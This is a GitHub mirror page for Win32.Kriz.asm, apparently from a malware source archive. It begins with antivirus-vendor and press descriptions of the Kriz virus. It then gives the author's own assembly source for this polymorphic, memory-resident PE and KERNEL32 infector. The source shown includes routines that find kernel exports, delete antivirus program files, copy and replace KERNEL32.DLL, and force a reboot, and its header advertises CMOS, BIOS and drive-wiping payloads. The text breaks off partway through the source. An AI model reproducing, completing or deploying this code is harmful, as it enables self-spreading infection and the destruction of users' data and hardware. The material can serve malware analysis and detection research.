ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-18 09:26:09 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
main
MalwareSourceCode/Win32/Infector/Win32.Kriz.asm
TheDuchy cfc6699241 Updated dir structure in Win32
2020-10-16 23:26:21 +02:00

2805 lines
75 KiB
NASM
Raw Permalink Blame History

; Fucked up descriptions:
; SYMANTEC
; ---------------------------------------------------------------------------
; W32.KRIZ
;
; Aliases: W32.Kriz.3863, W32.Kriz.3740
; Area of Infection: Windows 9x/NT PE files
; Likelihood: Rare
; Region Reported: Worldwide
; Characteristics: Wild, BIOS, December 25
;
;
; Description:
; W32.Kriz is a Windows 9x/NT virus, which infects Portable Executable (PE)
; Windows files. The virus goes resident into memory, attempting to infect
; any files that are opened by the user or applications. If infected with
; this virus, the user should verify they have "booted clean" before
; attempting to scan and repair files.
;
; The virus also modifies the KERNEL32.DLL. This file must be replaced with
; a known, clean backup. In addition, this virus may corrupt some PE files,
; requiring them to be replaced by known, clean backups (or from the
; installation package).
;
; The W32.Kriz virus also contains a payload, which is executed on December
; 25th.
;
; The first time the virus is executed on a system, it will create an
; infected copy of KERNEL32.DLL in the Windows system directory. The file
; will be named KRIZED.TT6. If this file is found in the Windows system
; directory, it should be deleted. The next time Windows is started, this
; file will be copied over the original KERNEL32.DLL. Then, the virus infects
; other files when certain Windows API functions are called by a program.
;
; There are variants of this virus. Some of the differences between variants
; pertain to the payload. The 3863 variant will access more types of drives
; when overwriting files. Other differences include the method of infection.
; The 3740 variant will create a new section named "…" and copy its viral
; code to that newly created section. The 3863 variant will simply append its
; code to the end of the last section.
;
; Currently, only the 3863 variant has been found in the wild. There is a
; 3863.b version of this virus. It is the same as the 3863 variant except
; that some of the unused text at the end of the virus has been corrupted.
;
; Payload:
; If the system date is December 25th, the virus will attempt to flash the
; BIOS of the computer. This will prevent the computer from booting up
; properly and may require a change of hardware. Information stored in the
; CMOS will be cleared. So the date, time, hard drive and floppy drive
; settings, peripheral configuration, etc. will need to be restored. The
; virus will also begin overwriting files on all available drives. This
; includes mapped network drives, floppy drives and RAM disks. This payload
; is very similar to W95.CIH.
;
;
; Write-up by: Eric Chien
; September 1, 1999
; AVP
; ---------------------------------------------------------------------------
; WIN32.KRIZ
;
; It is a memory resident polymorphic Windows virus. It replicates under
; Windows32 systems and infects PE EXE files (Windows executable) with EXE
; and SCR filename extensions, as well as the Windows KERNEL32.DLL system
; library that allows the virus to stay memory resident during a whole
; Windows session. The virus in infected KERNEL32.DLL hooks files access
; functions, intercepts file copying, opening, moving, e.t.c. and infects
; files that are accessed. The virus checks file names and does not infect
; several anti-virus program files:
;
; _AVP32.EXE, _AVPM.EXE, ALERTSVC.EXE, AMON.EXE, AVP32.EXE, AVPM.EXE,
; N32SCANW.EXE, NAVAPSVC.EXE, NAVAPW32.EXE, NAVLU32.EXE, NAVRUNR.EXE,
; NAVWNT.EXE, NOD32.EXE, NPSSVC.EXE, NSCHEDNT.EXE, NSPLUGIN.EXE,
; SCAN.EXE, SMSS.EXE
;
; The virus has an extremely dangerous payload that is activated on December
; 25th. On this day when infecting any file (i.e. when they are accessed by
; any of the Windows functions listed below), the virus "kills" information
; stored in CMOS memory, overwrites data in all files on all available
; drives, and then messes-up the Flash BIOS by using the same routine that
; was found in the "Win95.CIH" virus (aka Chernobyl).
;
; When an infected file is run, the virus' polymorphic decryption loop takes
; control and restores the virus code back to its original form. The virus
; then scans the Windows32 kernel, gets addresses of necessary Windows
; functions and calls the KERNEL32 infection routine.
;
; While infecting a file the virus creates a new file section at the end of
; the file, encrypts and writes its code to there. To separate infected and
; not yet infected files the virus writes the "666" ID string to the PE file
; header reserved field. The virus section has the "..." name.
;
; While infecting the KERNEL32.DLL module the virus also patches its Export
; table (exported functions) and modifies several functions' addresses so,
; that on next Windows startup the calls to KERNEL32 function will be
; filtered by virus hookers. That allows the virus to monitor file access
; calls.
;
; The virus hooks 16 KERNEL32 functions - file opening, copying, deleting,
; reading/writing file attributes, creating a new process. The complete list
; of hooked functions looks as follows:
;
; CopyFileA CopyFileW
; CreateFileA CreateFileW
; DeleteFileA DeleteFileW
; MoveFileA MoveFileExA MoveFileW MoveFileExW
; GetFileAttributesA SetFileAttributesW
; SetFileAttributesA SetFileAttributesExA
; CreateProcessA CreateProcessW
;
; To infect the KERNEL32.DLL file that can be opened in read-only more only,
; the virus uses a standard trick. It copies this file with temporary name
; (this copy has KRIZED.TT6 name and it is created in the Windows system
; directory), infects it and writes "rename" instruction to the WININIT.INI
; file. This trick allows the virus to infect the copy of KERNEL32.DLL and
; force Windows to replace the original KERNEL32.DLL with infected copy on
; next startup.
;
; The virus contains internal text strings that are not used in any way:
;
; =( [c] 1999 [t] )=
;
; YOU CALL IT RELIGION, YOU'RE FULL OF SHIT
; YOU NEVER KNEW, YOU NEVER DID, YOU NEVER WILL
; YOU'RE SO FULL OF SHIT, I DON'T WANT TO HEAR IT
; ALL YOU DO IS TALK ABOUT YOURSELF
; I DON'T WANNA HEAR IT, COZ I KNOW NONE OF IT'S TRUE
; I'M SICK AND TIRED OF ALL YOUR GODDAMN LIES
; LIES IN THE NAME OF GOD
; WHEN ARE YOU GOING TO REALIZE THAT I DON'T WANT TO HEAR IT?!
; I KNOW YOU'RE SO FULL OF SHIT, SO SHUT YOUR FUCKING MOUTH
; YOU KEEP ON TALKING, TALKING EVERYDAY
; FIRST YOU'RE TELLING STORIES, THEN YOU'RE TELLING LIES
; WHEN THE FUCK ARE YOU GOING TO REALIZE THAT I DON'T WANT TO HEAR IT!!
; AH, SHUT THE FUCK UP...
;
; KRIZ.3862
;
; This virus version is very closely related to the original one and differs
; only by additional programming tricks, another "copyright" text string:
;
; (c) T2 & Immortal Riot
;
; and an improved disk erasing routine: in addition to erasing CMOS, Flash
; and files on logical drives this virus enumerates all available network
; drives and erases all files on them. While erasing files the virus
; truncates them and overwrites them with the "DEAD BEEF" hexadecimal string
; (DEADBEEFh).
;
; KRIZ.4029
;
; This virus version is very closely related to the previous one
; ("Kriz.3836"). The differences are: some routines were improved; the
; destruction routine is also activated if the SoftIce debugger is installed
; in the system; the "copyright" text was also changed:
;
; T-2000 / Immortal Riot
;
; Text added: June-30-1999
; New variant Win32.Kriz.3862: August-18-1999
; More information about Kriz.3862 added: August-23-1999
; Kriz.4029 desc. added: September-05-1999
; PANDA
; ---------------------------------------------------------------------------
; CMOS AND FLASH MEMORIES: PRIME OBJECTIVES OF WIN32.KRIZ
;
; Panda detects and eliminates this virus, and it is the only developer
; capable of disinfecting the Kernel32.DLL library file.
;
; SAN FRANCISCO, August, 27th, 1999 -- Win32.Kriz is a resident polymorphic
; virus that runs under all Win32 platforms (Windows 95, Windows 98 and
; Windows NT) and infects Windows executable files (EXE extensions), screen
; saver files (SCR extensions) and the KERNEL32.DLL system library. Although
; its polymorphic generation routine is quite simple, the virus hides several
; programming tricks up its sleeve to complicate its debugging.
;
; Win32.Kriz's destructive payload is produced on the 25th of December. If,
; on that day, more than 256 infected EXE or SCR files have been accessed,
; the virus deletes the CMOS memory (which contains, among other information,
; data concerning the date, time, type of hard disk, etc.), damages the FLASH
; memory and overwrites all files contained in any network drive.
;
; The first time a file infected by Win32.Kriz is executed in a clean system,
; the polymorphic routines takes over and decrypts the remaining virus code
; in order to subsequently scan the resident area of KERNEL32 to locate the
; addresses of the following API's:
;
; CopyFileA, CreateFileA, CreateProcessA, DeleteFileA, GetFileAttributesA,
; MoveFileA, MoveFileExA, SetFileAttributesA, CopyFileW, CreateFileW,
; CreateProcessW, DeleteFileW, GetFileAttributesW, MoveFileW, MoveFileExW,
; SetFileAttributesW, CloseHandle, CreateFileMappingA, FindClose,
; FindFirstFileA, FindNextFileA, FreeLibrary, GetCurrentDirectory,
; GetDriveTypeA, GetFileSize, GetLocalTime, GetLogicalDriveStringsA,
; GetProcAddress, GetSystemDirectoryA, GetTickCount, GetWindowsDirectory,
; GlobalAlloc, GlobalFree, LoadLibraryA, MapViewOfFile, SetCurrentDirectory,
; SetFileTime, UnmapViewOfFile, WriteFile, WritePrivateProfile.
;
; The virus calculates the CRC16 of the name of the APIs that the KERNEL32
; exports and compares them with the list of the ones it needs to
; subsequently infect the KERNEL32.DLL file. It then overwrites the position
; of these APIs with the corresponding addresses of the viral routines.
;
; Win32.Kriz copies the KERNEL32.DLL file (from the c:\windows\system
; directory), renames it as KRIZED.TT6 and infects it, calculating the file's
; checksum correctly so that it does not generate any execution problems
; under Windows NT. Once the KRIZED.TT6 temp file has been infected, the
; virus creates a WININIT.INI file that automatically replaces the original
; KERNEL32.DLL file with the new infected copy. This way, upon the next
; system startup, Win32.Kriz will remain resident throughout the entire
; session, even if no other infected file is executed. In the first session,
; the virus is not resident in memory and will not infect any files as long
; as the system is not restarted. Then, when the system is booted with an
; infected copy of the KERNEL32.DLL file, Win32.Kriz will attack any file
; that is accessed (upon copying, moving, running, creating or attribute
; modification) after the APIs that were intercepted are called.
;
; Win32.Kriz contains the following text:
;
; (c) T2 & Immortal Riot
;
; YOU CALL IT RELIGION, YOU'RE FULL OF SHIT
; YOU NEVER KNEW, YOU NEVER DID, YOU NEVER WILL
; YOU'RE SO FULL OF SHIT, I DON'T WANT TO HEAR IT
; ALL YOU DO IS TALK ABOUT YOURSELF
; I DON'T WANNA HEAR IT, COZ I KNOW NONE OF IT'S TRUE
; I'M SICK AND TIRED OF ALL YOUR GODDAMN LIES
; LIES IN THE NAME OF GOD
; WHEN ARE YOU GOING TO REALIZE THAT I DON'T WANT TO HEAR IT?!
; I KNOW YOU'RE SO FULL OF SHIT, SO SHUT YOUR FUCKING MOUTH
; YOU KEEP ON TALKING, TALKING EVERYDAY
; FIRST YOU'RE TELLING STORIES, THEN YOU'RE TELLING LIES
; WHEN THE FUCK ARE YOU GOING TO REALIZE THAT I DON'T WANT TO HEAR IT!!
; AH, SHUT THE FUCK UP...
;
; Panda detects and eliminates Win32.Kriz, thereby protecting users against
; this virus, which is a harmful threat to their systems. In addition, Panda
; is the only antivirus developer capable of disinfecting the Kernel32.DLL
; library file. For this, the computer must be booted in MS-DOS mode, since
; the affected files are used by Windows upon computer startup.
; NAI
; ---------------------------------------------------------------------------
; VIRUS NAME
; W32/Kriz.3862
;
; DATE ADDED
; 8/16/99
;
; VIRUS CHARACTERISTICS
; This is Windows 95/98 and NT virus that infects PE EXE files. It is also
; polymorphic. When an infected file is executed, this virus will stay
; resident in memory until the next time the system is rebooted. This virus
; encrypts its code, leaving only a small random decryptor. This virus will
; infect files as they are opened by any application while it is in memory.
; This will occur when a user scans files as well.
;
; The virus also has a payload which activates when an infected file is run
; on December 25th. When it does it will attempt To erase the computer's CMOS
; information, which contains information such as date and time, and the type
; of hard disk the computer uses. This virus will also attempt to directly
; erase disk sectors. It will attempt to flash the BIOS with garbage. This
; only works on certain types of BIOSes. If this succeeds, the computer will
; not boot. This is similar to the action taken by the CIH virus. If the
; virus is successful the computer will not boot up, not even from a floppy
; disk. In some cases the virus will corrupt the file it infects and cleaning
; may not be possible.
;
; This virus will infect kernel32.dll. When it does, it replaces the original
; contents with it owns. Because of this the file can NOT be repaired, it
; must be replaced.
;
; This virus code also contains a poem that contains quite a bit of
; profanity. It is never displayed, nor is it used in any of the routines
; it runs.
;
; INDICATIONS OF INFECTION
; Not Available...
;
; METHOD OF INFECTION
; When first run on a clean machine, the virus checks KERNEL32.DLL to see if
; it is infected, if yes then the virus exits. If KERNEL32.DLL is not
; infected then the virus copies KERNEL32.DLL to WINDOWS\SYSTEM\KRIZED.TT6
; and then the virus infects this local copy. The virus then creates the file
; WINDOWS\WININIT.INI containing the lines :-
;
; [rename]
; C:\WINDOWS\SYSTEM\KERNEL32.DLL=C:\WINDOWS\SYSTEM\KRIZED.TT6
;
; This causes windows to replace KERNEL32.DLL with the infected copy when the
; system is next re-started. In the infected copy of KERNEL32.DLL the virus
; hooks the following functions :-
;
; CopyFileA
; CopyFileW
; CreateFileA
; CreateFileW
; CreateProcessA
; CreateProcessW
; DeleteFileA
; DeleteFileW
; GetFileAttributesA
; GetFileAttributesW
; MoveFileA
; MoveFileW
; MoveFileExA
; MoveFileExW
; SetFileAttributesA
; SetFileAttributesW
;
; This causes any PE executable file that is run, copied, moved or scanned to
; be infected by the virus.
;
; VIRUS INFORMATION
; DISCOVERY DATE: 8/16/99
; TYPE: Win32
; RISK ASSESSMENT: medium-AvertWatch List
; MINIMUM DAT: 4039
;
; VARIANTS
; Unknown
;
; ALIASES
; Kriz
; ZDNN (some PC news site)
; ---------------------------------------------------------------------------
; 'CHRISTMAS' VIRUS CAN DESTROY PCs
;
; New virus set to hit Dec. 25, delivering a payload that can kill a Windows
; PC's BIOS. Is it as bad as CIH?
;
; By Bob Sullivan, MSNBC
; August 18, 1999 3:00 PM PT
;
; A nasty new virus discovered by researchers promises to do even more damage
; to victims than the Chernobyl virus. It has the ability not only to erase
; files, but also to render a PC useless by destroying its flash BIOS.
;
; The good news is it won't execute until Dec. 25; the bad news is PC users
; without anti-virus programs may have a very bad Christmas Day.
;
; The author of Win32.Kriz, discovered recently by researchers, sounds as if
; he or she has an ax to grind against religious folks.
;
; Inside the virus is a text string with a poem full of expletives
; criticizing those who preach religion: "I don't wanna hear it, coz I know
; none of it's true," the author writes, according to anti-virus research
; firm Kaspersky Lab.
;
; Victims of the virus -- who can be anyone using Windows 95, Windows 98 or
; Windows NT -- can expect a load of trouble. The virus kills the CMOS
; memory, overwrites data in all files on all available drives, and then
; destroys the flash BIOS by using the same routine that was found in the
; "Win95_CIH" virus, also known as Chernobyl.
;
; "This is a nasty one, very well written," said Dan Takata of anti-virus
; vendor Data Fellows Inc.
;
; He said it's too early to tell if the virus will be widespread -- but
; potential victims have until Dec. 25 to update their antivirus programs
; against it.
; AVP PRESS
; ---------------------------------------------------------------------------
; New Windows Virus Named Win32.Kriz.3740 Discovered
;
; Attacks Executable and Screen Saver Files
;
; Medina, OH August 18, 1999 -- Central Command and Kaspersky Lab announce
; the discovery of a new Windows virus that contains same destructive payload
; as the Chernobyl virus that rendered thousands of computers in Asia
; unusable.
;
; Named Win32.Kriz.3740, the virus contains even more deadly capacity than
; the original Chernobyl virus. The Win32.Kriz.3740 virus, on December 25th,
; erases the CMOS memory, overwrites data in all files on all available
; drives, and then destroys the Flash BIOS by using the same routine that was
; found in the Win95.CIH virus (aka Chernobyl virus).
;
; Win32.Kriz.3740 is a memory resident, polymorphic, Windows virus. It
; replicates under Windows 95, Windows 98, and Windows NT systems and infects
; Windows programs with EXE (executable) and SCR (screen savers) filename
; extensions, as well as Windows KERNEL32.DLL system library that allows the
; virus to stay memory resident during the entire Windows session.
; SOPHOS
; ---------------------------------------------------------------------------
; VIRUS NAME: W32/Kriz.
; ALIASES: Kriz, W32.Kriz.3740, Win32.Kriz.
; TYPE: PE executable virus.
; RESIDENT: Yes.
; STEALTH: No.
; DESCRIPTION: This virus, which works under Windows 95/98 and Windows NT,
; infects PE (Portable Executable) files with .EXE or .SCR
; extensions. It also infects KERNEL32.DLL.
;
; W32/Kriz has a particularly destructive payload. On December
; 25th it will erase the CMOS setup, attempt to corrupt the
; system BIOS (in a similar way to W95/CIH-10xx) and attempt to
; overwrite all files on all local hard disks and network drives
; with garbage.
;
; If the system BIOS corruption is successful you will no longer
; be able to use your computer, and the BIOS chip may need to be
; replaced.
;
; There are two known variants of this virus, but only one of
; these is known to be in the wild.
; Note, all bugs mentioned in the articles above have been fixed.
; Source:
;============================================================================
;
;
; NAME: Win32.Krized v1.666
; TYPE: Parasitic resident polymorphic K32/PE-infector.
; OS: Windoze 95/98/NT/2000.
; CPU: 386+
; SIZE: Around 4k.
; AUTHOR: T-2000 / Immortal Riot.
; E-MAIL: T2000_@hotmail.com
; DATE: April 1999 - August 1999.
; PAYLOAD: Judgement Day on X-mas.
;
;
; FEATURES:
;
; - Completely Win32-compatible.
; - Achieves global Win32-residency by kernel-infection.
; - Polymorphic encrypted in files (PE/K32).
; - Traps possible errors with SEH's.
; - Anti-debugger/disassembler/emulator code.
; - Calculates correct image-checksum when needed.
; - Kills various AV-programs.
; - Win9x-payload: ring-0 CMOS & BIOS-trashing.
; - Win32-payload: local & network drive-trashing.
;
;
; Succesfully tested under Windoze 95, 98, NT 4.0, and 2000 beta 3.
;
; Creds go to Johnny Panic for the CRC-routines, to CIH for the
; BIOS-nuker, and to Rude Boy for the image-checksum algorithm.
;
; Assemble with: TASM32 KRIZED.ASM /ml /m
; TLINK32 KRIZED.OBJ IMPORT32.LIB
;
; Greets to Metal Militia, The Unforgiven, Johnny Panic, Bad Spirit,
; Godlike, Retch, The Lich, LovinGod, Vendigo, Morphine, and Lord Julus.
;
;============================================================================
ORG 0
.386p
.MODEL FLAT
; Stuff our code in the data-section, which is already
; readable/writeable, so we don't have to manually set
; the write-bit to the code-section anymore.
.DATA
; Some exports, only used by the carrier.
EXTRN ExitProcess:PROC
EXTRN GetFileAttributesA:PROC
EXTRN MessageBoxA:PROC
; *** Various equates we use. ***
GENERIC_READ EQU 80000000h
GENERIC_WRITE EQU 40000000h
OPEN_EXISTING EQU 00000003h
FILE_ATTRIBUTE_NORMAL EQU 00000080h
PAGE_READONLY EQU 00000002h
PAGE_READWRITE EQU 00000004h
FILE_MAP_READ EQU 00000004h
FILE_MAP_WRITE EQU 00000002h
EWX_REBOOT EQU 00000002h
EWX_FORCE EQU 00000004h
MOVEFILE_REPLACE_EXISTING EQU 00000001h
MOVEFILE_DELAY_UNTIL_REBOOT EQU 00000004h
ERROR_ACCESS_DENIED EQU 00000005h
RESOURCE_CONNECTED EQU 00000001h
RESOURCETYPE_DISK EQU 00000001h
DRIVE_REMOVABLE EQU 00000002h
DRIVE_CDROM EQU 00000005h
DRIVE_RAMDISK EQU 00000006h
Virus_Size EQU (Virus_End-START)
Poly_Size EQU 200 ; Maximum size of generated
; polymorphic decryptors.
Work_API_Count EQU (End_Work_API_CRC-Work_API_CRC) / 2
Hook_API_Count EQU (Work_API_CRC-Hook_API_CRC) / 2
Kill_CRC_Count EQU (End_Kill_Table-Kill_Table) / 2
; Equates used to index the API address table.
ixCopyFileA EQU 00
ixCreateFileA EQU 01
ixCreateProcessA EQU 02
ixDeleteFileA EQU 03
ixGetFileAttributesA EQU 04
ixMoveFileA EQU 05
ixMoveFileExA EQU 06
ixSetFileAttributesA EQU 07
ixCopyFileW EQU 08
ixCreateFileW EQU 09
ixCreateProcessW EQU 10
ixDeleteFileW EQU 11
ixGetFileAttributesW EQU 12
ixMoveFileW EQU 13
ixMoveFileExW EQU 14
ixSetFileAttributesW EQU 15
ixCloseHandle EQU 16
ixCreateFileMappingA EQU 17
ixFindClose EQU 18
ixFindFirstFileA EQU 19
ixFindNextFileA EQU 20
ixGetCurrentDirectoryA EQU 21
ixGetDriveTypeA EQU 22
ixGetFileSize EQU 23
ixGetFileTime EQU 24
ixGetLastError EQU 25
ixGetLocalTime EQU 26
ixGetLogicalDriveStringsA EQU 27
ixGetProcAddress EQU 28
ixGetSystemDirectoryA EQU 29
ixGetTickCount EQU 30
ixGetWindowsDirectoryA EQU 31
ixGlobalAlloc EQU 32
ixGlobalFree EQU 33
ixLoadLibraryA EQU 34
ixMapViewOfFile EQU 35
ixSetCurrentDirectoryA EQU 36
ixSetFileTime EQU 37
ixUnmapViewOfFile EQU 38
ixWriteFile EQU 39
ixWritePrivateProfileStringA EQU 40
CRC16 MACRO String
CRC_Reg = 0FFFFFFFFh
IRPC _x, <String>
Ctrl_Byte = ('&_x&' XOR (CRC_Reg AND 0FFh))
CRC_Reg = (CRC_Reg SHR 8)
REPT 8
Ctrl_Byte = (Ctrl_Byte SHR 1) XOR (0EDB88320h * (Ctrl_Byte AND 1))
ENDM
CRC_Reg = (CRC_Reg XOR Ctrl_Byte)
ENDM
DW (CRC_Reg AND 0FFFFh)
ENDM
; === VIRUSCODE STARTS HERE ===
START:
CALL Get_Delta
XOR EDX, EDX ; Zero EDX.
JNZ $+31337 ; Simple anti-heuristic.
; Zero the key of the decryptor, so the
; code won't be fucked-up the next time
; DLLMain get's called.
MOV [EBP+(Stupid_Dummy-START)], DL
Patch_Decrypt = DWORD PTR $-4
MOV EAX, EBP
SUB EAX, 1000h ; Calculate our base-address.
Virus_RVA = DWORD PTR $-4
; Calculate VA of our host.
ADD EAX, (1000h+(Carrier-START))
Host_EIP = DWORD PTR $-4
MOV [ESP+(9*4)], EAX ; Patch return-address with
; original entrypoint.
JMP CALL_Setup_SEH ; Abort further processing?
Init_Mode = BYTE PTR $-1
JMP Return_To_Host
CALL_Setup_SEH: CALL Setup_Load_SEH ; Bump SEH-address on stack.
MOV ESP, [ESP+(2*4)] ; Restore original ESP.
JMP_R_Init_SEH: JMP Rest_Init_SEH ; And end further processing.
Author DB 'T-2000 / Immortal Riot', 0
Setup_Load_SEH: PUSH DWORD PTR FS:[EDX] ; Bump original SEH on stack.
MOV FS:[EDX], ESP ; Stuff our own SEH-address.
MOV EAX, [ESP+(12*4)] ; Get pointer to last SEH.
XOR AX, AX ; Align on a 64k boundary.
Find_K32_Base: CMP EAX, 400000h ; Below application-memory?
JB JMP_R_Init_SEH
CMP [EAX.MZ_Mark], 'ZM' ; Found the kernel?
JNE Loop_Find_K32
CMP [EAX.MZ_Reloc_Table], 40h ; K32 has a PE-header.
JB Loop_Find_K32
MOV EBX, [EAX+3Ch] ; RVA of PE-header.
ADD EBX, EAX ; Plus base, (make it a VA).
CMP [EBX.PE_Mark], 'EP' ; Verify PE-header, just in
JNE Loop_Find_K32 ; case.
; Verify it's a DLL we've found.
TEST BYTE PTR [EBX.PE_Flags+1], 00100000b
JNZ Found_K32_Base
Loop_Find_K32: SUB EAX, 65536 ; Scan downwards, stuff
; always gets loaded at
; a 64k boundary.
JMP Find_K32_Base ; Just repeat the loop.
Found_K32_Base: MOV [EBP+(K32_Base-START)], EAX ; Store K32-base.
PUSH [EBX.Image_Size]
POP DWORD PTR [EBP+(K32_Image_Size-START)]
MOV EBX, [EBX+120] ; K32's export-table.
ADD EBX, EAX
MOV EDI, [EBX+(8*4)] ; Array of API-name RVA's.
ADD EDI, EAX
MOV ECX, [EBX+(6*4)] ; Amount of API-name RVA's.
MOV BYTE PTR [EBP+(Fetched_API-START)], (Hook_API_Count + Work_API_Count)
Loop_Export: MOV ESI, [EDI+(EDX*4)] ; Offset of API-name.
ADD ESI, EAX
PUSHAD
XCHG ECX, EAX ; Save base-address in ECX.
CALL Calculate_CRC16 ; Calculate the CRC16 of this
; API-name.
MOV ESI, [EBX+(9*4)] ; Array of API-ordinals.
ADD ESI, ECX
MOV EBX, [EBX+(7*4)] ; Array of API-handler RVA's.
PUSH EAX
MOVZX EAX, WORD PTR [ESI+(EDX*2)]
LEA ESI, [EBX+(EAX*4)]
POP EAX
MOV EBX, [ECX+ESI]
; NAV 9x seems to fuck around with the K32 memory image setting it's own
; export hooks, for example CreateProcessA and WinExec. Anyways, Krized
; would use hardcoded hooked addresses, and the next boot everything goes
; bang cuz NAV ain't loaded yet. To test for hooked addresses we check if
; the address is in range of the K32-image, and abort infect if it's not.
CMP EBX, 12345678h
K32_Image_Size = DWORD PTR $-4
JNB Rep_Loop_Name
; Check if it's an API which we need.
LEA EDI, [EBP+(Hook_API_CRC-START)]
PUSH (Hook_API_Count+Work_API_Count)
POP ECX
PUSH ECX
REPNE SCASW
POP EAX
JNE Rep_Loop_Name
SUB EAX, ECX
; Save API-address.
MOV [EBP+(API_Addresses-START)+(EAX*4)-4], EBX
; Got another one.
DEC BYTE PTR [EBP+(Fetched_API-START)]
CMP AL, Hook_API_Count+1 ; Do we need to save this
JNB Rep_Loop_Name ; API's export-address?
MOV [EBP+(Hook_Exports-START)+(EAX*4)-4], ESI
Rep_Loop_Name: POPAD
INC EDX
LOOP Loop_Export
JECXZ @1
DB 0E9h
@1: CMP AL, 0 ; We're all API's found?
Fetched_API = BYTE PTR $-1
JNZ Wipe_Memory ; Else abort further infect.
PUSH 0FFFFFFFFh ; Request for kernel-infect.
POP ESI
CALL Infect_File
; Try to cover-up as many tracks as possible by clearing
; most of our code in memory, as we don't need it anymore.
Wipe_Memory: MOV EDI, EBP
MOV CX, (Wipe_Memory-START)
CLD
REP STOSB
ADD EDI, (Infect_File-Wipe_Memory)
MOV CX, (Virus_End-Infect_File)
REP STOSB
MOV ECX, 0 ; Should we perform a reboot?
ExitWindowsEx = DWORD PTR $-4
JECXZ Rest_Init_SEH
PUSH EWX_FORCE OR EWX_REBOOT ; Force a system reboot.
PUSH 0
CALL ECX
Rest_Init_SEH: XOR EAX, EAX
POP DWORD PTR FS:[EAX] ; Unhook our own SEH.
POP EAX
Return_To_Host: POPAD ; Restore all registers.
POPFD
RET ; Return to our host.
;-------------------------------------------------
; ESI == 0FFFFFFFFh = Infect kernel.
; ESI != 0FFFFFFFFh = Infect file pointed by ESI.
;-------------------------------------------------
Infect_File:
PUSHAD
XOR EBX, EBX
CALL Setup_Inf_SEH
PUSHAD
MOV ESI, [ESP+(9*4)] ; Grab exception-code off
LODSD ; the stack.
CALL Get_Delta
SHL EAX, 4 ; Strip flags.
CMP EAX, (03h SHL 4) ; Virus' request to call an
JE Virus_Request ; API ?
MOV ESP, [ESP+(10*4)] ; Unhandled exception, so
; abort further execution.
JMP_R_Inf_SEH: JMP Rest_Inf_SEH
Virus_Request: MOV EDX, [ESP+(11*4)] ; Context-block.
LEA EAX, [EBP+(Perform_API-START)]
XCHG [EDX+184], EAX ; Swap EIP.
MOV ECX, [EDX+196] ; ESP.
; Win9x sets the exception-address with Exception_EIP + 1, whereas NT
; does the right thing and uses Exception_EIP, we need some extra
; code to keep this in account.
CMP BYTE PTR [EAX], 0CCh ; This is the breakpoint?
JNE Swap_Address
INC EAX ; Skip breakpoint.
Swap_Address: XCHG [ECX], EAX ; Swap index-number with
; Perform_API's address.
MOV [EBP+(Work_API_Index-START)], AL
POPAD
XOR EAX, EAX ; Reload context and continue
; execution.
RET
Setup_Inf_SEH: PUSH DWORD PTR FS:[EBX]
MOV FS:[EBX], ESP
; The virtual-size entry of object-headers is not reliable,
; therefore we need to allocate our memory by hand.
PUSH (End_Heap-Virus_End) ; Allocate memory on the
PUSH EBX ; global heap.
PUSH ixGlobalAlloc
INT 03h
XCHG ECX, EAX ; Error?
JECXZ JMP_R_Inf_SEH
MOV [EBP+(Global_Handle-START)], ECX
MOV [EBP+(Infect_Mode-START)], BL
INC ESI ; Request to infect K32 ?
JZ Payload_Test
DEC ESI ; Some API can have NULL.
JZ JMP_Free_Glo_M
MOV BYTE PTR [EBP+(Infect_Mode-START)], (Open_Candidate-Infect_Mode) - 1
XCHG EBX, EAX ; Zero EAX.
LEA EBX, [ECX+(ANSI_Target_File-Virus_End)]
MOV EDI, EBX
MOV ECX, 260
CLD
Convert_Path: LODSB ; Fetch next byte/word.
NOP
Unicode_Switch = WORD PTR $-2
OR AH, AH ; Is it non-ASCII ?
JNZ JMP_Free_Glo_M ; Then abort infect.
CMP AL, 'a'
JB Store_Upcase
CMP AL, 'z'
JA Store_Upcase
SUB AL, 'a' - 'A' ; Convert to uppercase.
Store_Upcase: STOSB
OR AL, AL
JZ Init_Find_Name
LOOP Convert_Path
JMP_Free_Glo_M: JMP Free_Global_M
Init_Find_Name: MOV ESI, EDI
Find_File_Name: DEC ESI
CMP ESI, EBX ; Reached the beginning?
JE Check_File_Ext
CMP BYTE PTR [ESI-1], '\' ; Found start filename?
JNE Find_File_Name
Check_File_Ext: CMP [EDI-5], 'EXE.' ; Standard .EXE-file?
JE Calc_CRC_Name
CMP [EDI-5], 'RCS.' ; Perhaps a screen-saver?
JNE JMP_Free_Glo_M
Calc_CRC_Name: CALL Calculate_CRC16 ; Calculate filename's CRC.
; Kill AV-files.
LEA EDI, [EBP+(Kill_Table-START)]
PUSH Kill_CRC_Count
POP ECX
REPNE SCASW
JNE Payload_Test
PUSH FILE_ATTRIBUTE_NORMAL ; Prevent any Happy99 alike
PUSH EBX ; 'protection'.
PUSH ixSetFileAttributesA
INT 03h
PUSH EBX ; Later dude..
PUSH ixDeleteFileA
INT 03h
Payload_Test: CALL Check_For_Payload ; Activate?
MOV BYTE PTR [EBP+(Clear_Tracks_Sw-START)], (Free_Global_M-Clear_Tracks_Sw) - 1
JMP $
Infect_Mode = BYTE PTR $-1
MOV EBX, [EBP+(Global_Handle-START)]
; Obtain the path to the Windoze system-directory,
; which is most likely C:\WINDOWS\SYSTEM.
PUSH 260
LEA ESI, [EBX+(Clean_K32_Path-Virus_End)]
PUSH ESI
PUSH ixGetSystemDirectoryA
INT 03h
LEA EDI, [EBX+(Infected_K32_Path-Virus_End)]
MOV [EBP+(Offset_Inf_K32-START)], EDI
PUSH EDI
XCHG ECX, EAX
CLD
REP MOVSB
PUSH ESI
; Append the temporary virus filename to the
; system-path, ie. C:\WINDOWS\SYSTEM\KRIZED.TT6.
LEA ESI, [EBP+(Infected_K32-START)]
MOVSD
MOVSD
MOVSD
; Append the original kernel filename to the
; system-path, ie. C:\WINDOWS\SYSTEM\KERNEL32.DLL.
POP EDI
LEA ESI, [EBP+(KERNEL32_Name-START)]
MOV CL, 14
REP MOVSB
; In the system-dir, copy KERNEL32.DLL to KRIZED.TT6.
PUSH 1
LEA EAX, [EBX+(Infected_K32_Path-Virus_End)]
PUSH EAX
LEA EAX, [EBX+(Clean_K32_Path-Virus_End)]
PUSH EAX
PUSH ixCopyFileA
INT 03h
POP EBX
DEC EAX ; Any problems doing it?
JNZ Free_Global_M
MOV [EBP+(Clear_Tracks_Sw-START)], AL
Open_Candidate: XOR ESI, ESI
JNZ $-27
PUSH EBX ; Umm.. get it's attribs?
PUSH ixGetFileAttributesA
INT 03h
